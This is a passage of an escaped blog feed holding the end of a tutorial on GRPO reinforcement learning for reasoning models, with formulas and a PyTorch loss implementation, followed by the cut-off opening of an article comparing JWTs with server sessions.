&lt;td&gt;&lt;strong&gt;0 parameters&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;VRAM Footprint&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Actor + Critic + Ref + Reward&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Actor + Ref (or quantized Ref)&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Advantage Assignment&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Token-level Generalized Advantage Estimation (GAE)&lt;/td&gt;
&lt;td&gt;Group-normalized scalar assigned to all tokens&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Reward Sparsity Handling&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Poor (Critic struggles to learn token values)&lt;/td&gt;
&lt;td&gt;Robust (Direct terminal reward comparison)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Failure Modes&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Value drift, critic divergence, OOM crashes&lt;/td&gt;
&lt;td&gt;Zero-variance batches if group size $G$ is too small&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  4. The Complete Mathematical Objective
&lt;/h2&gt;

&lt;p&gt;The full GRPO loss function looks intimidating in research papers, but it decomposes into three clean parts.&lt;/p&gt;

&lt;p&gt;For a question distribution $P(Q)$ and group size $G$, the objective maximized by GRPO is:&lt;/p&gt;

&lt;p&gt;$$\mathcal{J}&lt;em&gt;{GRPO}(\theta) = \mathbb{E}&lt;/em&gt;{\substack{q \sim P(Q), \ {o_i}&lt;em&gt;{i=1}^G \sim \pi&lt;/em&gt;{\theta_{old}}}} \left[ \frac{1}{G} \sum_{i=1}^G \frac{1}{|o_i|} \sum_{t=1}^{|o_i|} \left( \min \left( \rho_{i,t} \hat{A}&lt;em&gt;i, \; \text{clip}(\rho&lt;/em&gt;{i,t}, 1-\varepsilon, 1+\varepsilon) \hat{A}&lt;em&gt;i \right) - \beta \mathbb{D}&lt;/em&gt;{KL}\left[\pi_\theta \parallel \pi_{ref}\right] \right) \right]$$&lt;/p&gt;

&lt;p&gt;Let us unpack the three components:&lt;/p&gt;

&lt;h3&gt;
  
  
  Component A: The Per-Token Probability Ratio ($\rho_{i,t}$)
&lt;/h3&gt;

&lt;p&gt;$$\rho_{i,t} = \frac{\pi_\theta(o_{i,t} \mid q, o_{i,&amp;lt;t})}{\pi_{\theta_{old}}(o_{i,t} \mid q, o_{i,&amp;lt;t})} = \exp\left( \log \pi_\theta(o_{i,t}) - \log \pi_{\theta_{old}}(o_{i,t}) \right)$$&lt;/p&gt;

&lt;p&gt;This is standard importance sampling. Because sampling $G$ sequences takes significant time, you want to perform multiple gradient steps (or minibatch updates) on the collected rollouts. The ratio $\rho_{i,t}$ tracks how much the active policy $\pi_\theta$ has shifted away from the rollout policy $\pi_{\theta_{old}}$ that originally generated the tokens.&lt;/p&gt;

&lt;h3&gt;
  
  
  Component B: The Clipped Surrogate
&lt;/h3&gt;

&lt;p&gt;$$\min \left( \rho_{i,t} \hat{A}&lt;em&gt;i, \; \text{clip}(\rho&lt;/em&gt;{i,t}, 1-\varepsilon, 1+\varepsilon) \hat{A}_i \right)$$&lt;/p&gt;

&lt;p&gt;Just like in standard PPO, the clipping parameter $\varepsilon$ (typically set to 0.1 or 0.2) prevents a single gradient step from drastically altering the probability of a token. If the advantage is positive and the ratio exceeds $1 + \varepsilon$, the gradient is clipped. If the advantage is negative and the ratio falls below $1 - \varepsilon$, the gradient is clipped.&lt;/p&gt;

&lt;h3&gt;
  
  
  Component C: The Schulman KL Regularization
&lt;/h3&gt;

&lt;p&gt;In traditional PPO, the KL divergence penalty is often subtracted directly from the reward before computing advantage values:&lt;/p&gt;

&lt;p&gt;$$r'&lt;em&gt;t = r_t - \beta \log \frac{\pi&lt;/em&gt;\theta(a_t \mid s_t)}{\pi_{ref}(a_t \mid s_t)}$$&lt;/p&gt;

&lt;p&gt;In GRPO, the reward is kept pure, and the KL divergence penalty is added directly into the loss function.&lt;/p&gt;

&lt;p&gt;DeepSeek uses the unbiased, low-variance estimator developed by John Schulman:&lt;/p&gt;

&lt;p&gt;$$\mathbb{D}&lt;em&gt;{KL}\left[\pi&lt;/em&gt;\theta \parallel \pi_{ref}\right] = \frac{\pi_{ref}(o_{i,t} \mid q, o_{i,&amp;lt;t})}{\pi_\theta(o_{i,t} \mid q, o_{i,&amp;lt;t})} - \log \frac{\pi_{ref}(o_{i,t} \mid q, o_{i,&amp;lt;t})}{\pi_\theta(o_{i,t} \mid q, o_{i,&amp;lt;t})} - 1$$&lt;/p&gt;

&lt;p&gt;Why use this specific formula?&lt;/p&gt;

&lt;p&gt;Notice the algebraic property: let $x = \frac{\pi_{ref}}{\pi_\theta}$. The term is $f(x) = x - \log(x) - 1$.&lt;br&gt;
For all $x &amp;gt; 0$, $f(x) \ge 0$, with $f(1) = 0$.&lt;/p&gt;

&lt;p&gt;Standard sample-based estimators like $\log(\pi_\theta / \pi_{ref})$ can produce negative sample values that introduce noise into gradient updates. The Schulman estimator is strictly non-negative at every sample point and has provably lower variance.&lt;/p&gt;


&lt;h2&gt;
  
  
  5. Why Rule-Based Verifiers Beat Neural Reward Models
&lt;/h2&gt;

&lt;p&gt;The second critical innovation behind DeepSeek-R1's reasoning success was not just GRPO itself, but what feeds rewards into GRPO.&lt;/p&gt;

&lt;p&gt;In conventional RLHF (used to make chatbots friendly and conversational), rewards come from a &lt;strong&gt;Neural Reward Model&lt;/strong&gt;. That reward model is another neural network trained on human ranking data (Response A is better than Response B).&lt;/p&gt;

&lt;p&gt;Neural reward models suffer from &lt;strong&gt;Goodhart's Law&lt;/strong&gt;: &lt;em&gt;When a measure becomes a target, it ceases to be a good measure.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;When an LLM trains against a neural reward model for thousands of steps, it finds adversarial exploit paths. It learns that writing five paragraphs of apologetic, formatting-heavy, sycophantic text scores higher than giving a concise answer, even if the underlying code or math is wrong.&lt;/p&gt;

&lt;p&gt;For DeepSeek-R1-Zero, the team discarded neural reward models completely for reasoning tasks and used &lt;strong&gt;deterministic rule-based verifiers&lt;/strong&gt;:&lt;/p&gt;

&lt;p&gt;$$R_{rule} = R_{accuracy} + R_{format}$$&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;+-------------------------------------------------------------+
| Prompt: Math / Coding Task                                  |
+-------------------------------------------------------------+
                              |
                     [Current Policy]
                              |
                 Generates G=16 completions
                              |
                              v
+-------------------------------------------------------------+
| Rule-Based Verifiers (Zero Neural Inference)                |
|                                                             |
| 1. Accuracy Verifier:                                       |
|    - Code: Run inside sandbox with `pytest`                 |
|    - Math: Extract `\boxed{...}`, compare via SymPy         |
|    Score: 1.0 if correct, 0.0 if failed                     |
|                                                             |
| 2. Format Verifier:                                         |
|    - Must start with `&amp;lt;think&amp;gt;` and end with `&amp;lt;/think&amp;gt;`      |
|    - Final answer enclosed in specified tags                |
|    Score: 1.0 if formatted properly, 0.0 if malformed       |
+-------------------------------------------------------------+
                              |
               Exact binary reward: 0.0 or 1.0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A Python unit test suite does not care how polite your model is. Either &lt;code&gt;solution(5)&lt;/code&gt; returns &lt;code&gt;120&lt;/code&gt;, or it fails. A SymPy algebraic solver does not care about persuasive prose. Either the expression simplifies to the ground truth, or it gets zero reward.&lt;/p&gt;

&lt;p&gt;Because the reward is objective and deterministic, the model cannot hack the verifier by being verbose. The only way to increase expected reward is to actually get the right answer.&lt;/p&gt;




&lt;h2&gt;
  
  
  6. How Reasoning Emerges Organically: The "Aha Moment"
&lt;/h2&gt;

&lt;p&gt;One of the most fascinating findings in the DeepSeek-R1 paper was that pure reinforcement learning (R1-Zero) discovered self-reflection without any human prompting.&lt;/p&gt;

&lt;p&gt;During training, the model started generating phrases like:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"Wait, let me double check that..."&lt;br&gt;
"Let's re-evaluate from step 2..."&lt;br&gt;
"Wait, this contradicts the earlier condition, let me try a different substitution..."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Why does this happen without supervised examples?&lt;/p&gt;

&lt;p&gt;Consider the exploration dynamics in a group of $G=16$ completions:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Prompt: A complex geometry problem.&lt;/li&gt;
&lt;li&gt;15 completions attempt a direct calculation, make a sign error on step 3, and fail. Reward = 0.0.&lt;/li&gt;
&lt;li&gt;1 completion randomly generates a token sequence that pauses to check its work: &lt;em&gt;"Wait, let me verify if the triangle inequality holds."&lt;/em&gt; It catches the sign error, corrects the calculation, and outputs the right answer. Reward = 1.0.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Now compute the advantages:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Mean reward = $1/16 = 0.0625$.&lt;/li&gt;
&lt;li&gt;The 15 failing outputs get slightly negative advantage: $-0.26$.&lt;/li&gt;
&lt;li&gt;The single successful output gets a huge positive advantage: $+3.87$.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;During the gradient update, every token in that winning trajectory receives strong positive reinforcement. The weights that generated the backtracking and verification tokens are boosted. Over thousands of optimization steps, the model internalizes self-correction as the most reliable policy to maximize its reward on difficult tasks.&lt;/p&gt;




&lt;h2&gt;
  
  
  7. Minimal Implementation in PyTorch
&lt;/h2&gt;

&lt;p&gt;Here is a clean, readable implementation showing how group advantage normalization, clipped surrogate loss, and the Schulman KL penalty are computed in PyTorch:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="n"&gt;torch&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="n"&gt;torch&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;nn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;functional&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="no"&gt;F&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;compute_group_advantages&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rewards&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;torch&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Tensor&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;eps&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;float&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;1e-4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;torch&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Tensor&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="s2"&gt;"""
    Computes group-relative advantages across G completions for each prompt.

    Args:
        rewards: Tensor of shape (batch_size, group_size)
        eps: Small stabilizer to prevent division by zero
    Returns:
        advantages: Tensor of shape (batch_size, group_size)
    """&lt;/span&gt;
    &lt;span class="c1"&gt;# Calculate empirical mean and std across the group dimension (dim=-1)&lt;/span&gt;
    &lt;span class="n"&gt;mean&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;rewards&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;mean&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dim&lt;/span&gt;&lt;span class="o"&gt;=-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;keepdim&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;rewards&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;std&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dim&lt;/span&gt;&lt;span class="o"&gt;=-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;keepdim&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# Standardize rewards within each prompt's group&lt;/span&gt;
    &lt;span class="n"&gt;advantages&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rewards&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;mean&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;eps&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# Edge case: If all completions have identical reward, advantage is zero&lt;/span&gt;
    &lt;span class="n"&gt;zero_variance_mask&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mf"&gt;1e-6&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;advantages&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;torch&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;where&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;zero_variance_mask&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;torch&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;zeros_like&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;advantages&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;advantages&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;advantages&lt;/span&gt;


&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;grpo_loss&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;log_probs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;torch&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Tensor&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;        &lt;span class="c1"&gt;# (B * G, seq_len) - Current policy log pi_theta&lt;/span&gt;
    &lt;span class="n"&gt;old_log_probs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;torch&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Tensor&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;    &lt;span class="c1"&gt;# (B * G, seq_len) - Rollout policy log pi_old&lt;/span&gt;
    &lt;span class="n"&gt;ref_log_probs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;torch&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Tensor&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;    &lt;span class="c1"&gt;# (B * G, seq_len) - Frozen reference model&lt;/span&gt;
    &lt;span class="n"&gt;advantages&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;torch&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Tensor&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;       &lt;span class="c1"&gt;# (B * G, 1)       - Group advantage for each sequence&lt;/span&gt;
    &lt;span class="n"&gt;attention_mask&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;torch&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Tensor&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;   &lt;span class="c1"&gt;# (B * G, seq_len) - 1 for valid tokens, 0 for pad&lt;/span&gt;
    &lt;span class="n"&gt;clip_eps&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;float&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;0.2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;beta_kl&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;float&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;0.04&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;torch&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Tensor&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="s2"&gt;"""
    Computes token-level GRPO loss with clipped surrogate objective and Schulman KL.
    """&lt;/span&gt;
    &lt;span class="c1"&gt;# 1. Compute per-token importance ratio: exp(log_pi - log_pi_old)&lt;/span&gt;
    &lt;span class="n"&gt;ratio&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;torch&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;log_probs&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;old_log_probs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# 2. Clipped surrogate loss&lt;/span&gt;
    &lt;span class="n"&gt;surr1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ratio&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;advantages&lt;/span&gt;
    &lt;span class="n"&gt;surr2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;torch&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;clamp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ratio&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;1.0&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;clip_eps&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;1.0&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;clip_eps&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;advantages&lt;/span&gt;
    &lt;span class="n"&gt;policy_loss&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;torch&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;min&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;surr1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;surr2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# 3. John Schulman's unbiased KL estimator: exp(log_ref - log_pi) - (log_ref - log_pi) - 1&lt;/span&gt;
    &lt;span class="n"&gt;log_ratio_ref&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ref_log_probs&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;log_probs&lt;/span&gt;
    &lt;span class="n"&gt;kl_divergence&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;torch&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;log_ratio_ref&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;log_ratio_ref&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mf"&gt;1.0&lt;/span&gt;

    &lt;span class="c1"&gt;# 4. Total per-token loss&lt;/span&gt;
    &lt;span class="n"&gt;total_token_loss&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;policy_loss&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;beta_kl&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;kl_divergence&lt;/span&gt;

    &lt;span class="c1"&gt;# 5. Mask padding tokens and average over valid tokens&lt;/span&gt;
    &lt;span class="n"&gt;masked_loss&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;total_token_loss&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;attention_mask&lt;/span&gt;
    &lt;span class="n"&gt;loss_per_sequence&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;masked_loss&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;sum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dim&lt;/span&gt;&lt;span class="o"&gt;=-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="n"&gt;attention_mask&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;sum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dim&lt;/span&gt;&lt;span class="o"&gt;=-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;clamp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;min&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;1.0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;loss_per_sequence&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;mean&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  8. Common Pitfalls When Implementing GRPO
&lt;/h2&gt;

&lt;p&gt;If you attempt to train or fine-tune an open-source model using GRPO (via frameworks like Hugging Face TRL or Unsloth), watch out for these subtle traps:&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Group Size ($G$) Set Too Low
&lt;/h3&gt;

&lt;p&gt;In standard PPO, mini-batches can be small because the Critic model provides a continuous value baseline. In GRPO, the baseline is estimated strictly from your group samples. If you set $G=2$ or $G=4$, the empirical variance of your baseline is enormous. A single lucky guess completely skews the group mean. In practice, $G \ge 8$ or $G=16$ is needed for stable gradient signals.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Format Reward Overweighting
&lt;/h3&gt;

&lt;p&gt;If your format reward (enforcing &lt;code&gt;&amp;lt;think&amp;gt;&lt;/code&gt; tags) gives $0.5$ points and your accuracy reward gives $0.5$ points, the model quickly realizes that writing valid XML tags is significantly easier than solving calculus. It will settle into a local optimum where it emits empty &lt;code&gt;&amp;lt;think&amp;gt;&amp;lt;/think&amp;gt;&lt;/code&gt; blocks to harvest the format reward without solving the task. Keep format rewards minimal (or treat them as a prerequisite gate rather than an additive bonus).&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Length Explosion (Reasoning Bloat)
&lt;/h3&gt;

&lt;p&gt;Because correct answers often correlate with longer, more thorough exploration, the model can develop a bias toward generating massive chains of thought even for trivial queries. Without length regularization or prompt diversity, average generation length can balloon from 500 tokens to 8,000+ tokens, exhausting GPU memory during rollout generation.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Core Takeaway
&lt;/h2&gt;

&lt;p&gt;Reasoning models do not rely on mysterious black-box magic. The shift represented by GRPO and DeepSeek-R1 comes down to pragmatic systems engineering:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Drop the Critic&lt;/strong&gt;: Use group sampling to turn relative rank into an advantage signal, slashing VRAM overhead by half.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Drop the Neural Reward Model&lt;/strong&gt;: Use automated tests, sandboxed execution, and symbolic math checkers to provide deterministic, unhackable feedback.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Let Exploration Work&lt;/strong&gt;: Given enough test-time tokens and verifiable feedback, reinforcement learning naturally pushes the policy toward backtracking and self-correction.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Understanding GRPO gives you a concrete mental model of how reasoning models train, how test-time compute works in practice, and why the value network was the first thing to go.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>machinelearning</category>
      <category>deepseek</category>
      <category>programming</category>
    </item>
    <item>
      <title>JWTs vs Server Sessions: What Developers Actually Get Wrong About Stateless Auth</title>
      <dc:creator>Syed Anzar</dc:creator>
      <pubDate>Tue, 17 Nov 2026 05:39:57 +0000</pubDate>
      <link>https://dev.to/syed_anzar/jwts-vs-server-sessions-what-developers-actually-get-wrong-about-stateless-auth-4c7d</link>
      <guid>https://dev.to/syed_anzar/jwts-vs-server-sessions-what-developers-actually-get-wrong-about-stateless-auth-4c7d</guid>
      <description>&lt;p&gt;Every backend developer goes through the same rite of passage. You read an online tutorial claiming that JSON Web Tokens (JWTs) make authentication "stateless and infinitely scalable." You generate a signed token on login, return it in a JSON body, store it in &lt;code&gt;localStorage&lt;/code&gt;, and congratulate yourself for avoiding database lookups on every incoming request.&lt;/p&gt;

&lt;p&gt;Then production requirements arrive.&lt;/p&gt;

&lt;p&gt;A user clicks "Log out from all devices." Someone loses a phone. An administrator suspends an abusive account or downgrades a user's permissions from admin to viewer. Suddenly, you realize you have handed clients self-contained cryptographic passports that your server has zero power to revoke.&lt;/p&gt;

&lt;p&gt;To fix the revocation problem, teams usually reach for a token blacklist in Redis. The moment you do that, you have built a stateful session system that combines the latency of a database lookup with the CPU overhead of cryptographic verification, 1KB headers, and heightened XSS exposure. You took the downsides of both architectures and the benefits of neither.&lt;/p&gt;

&lt;p&gt;Let us look at how both systems work under the hood, where the math and networking break down, and what a sound authentication architecture actually looks like.&lt;/p&gt;




&lt;h2&gt;
  
  
  1. The Seductive Promise of "Stateless" Auth
&lt;/h2&gt;

&lt;p&gt;The theoretical pitch for JWT authentication is simple:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[ Client ] --(Credentials)--&amp;gt; [ Auth Server ]
[ Client ] &amp;lt;--(Signed JWT)---- [ Auth Server ]

[ Client ] --(Request + JWT)--&amp;gt; [ API Gateway / Service ]
                                (Verify Signature Locally)
                                (No Database Query Needed!)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A standard JSON Web Token consists of three parts concatenated by periods and encoded in Base64Url (RFC 7519):&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Header:&lt;/strong&gt; Identifies the token type and the cryptographic algorithm (e.g., &lt;code&gt;{"alg": "HS256", "typ": "JWT"}&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;
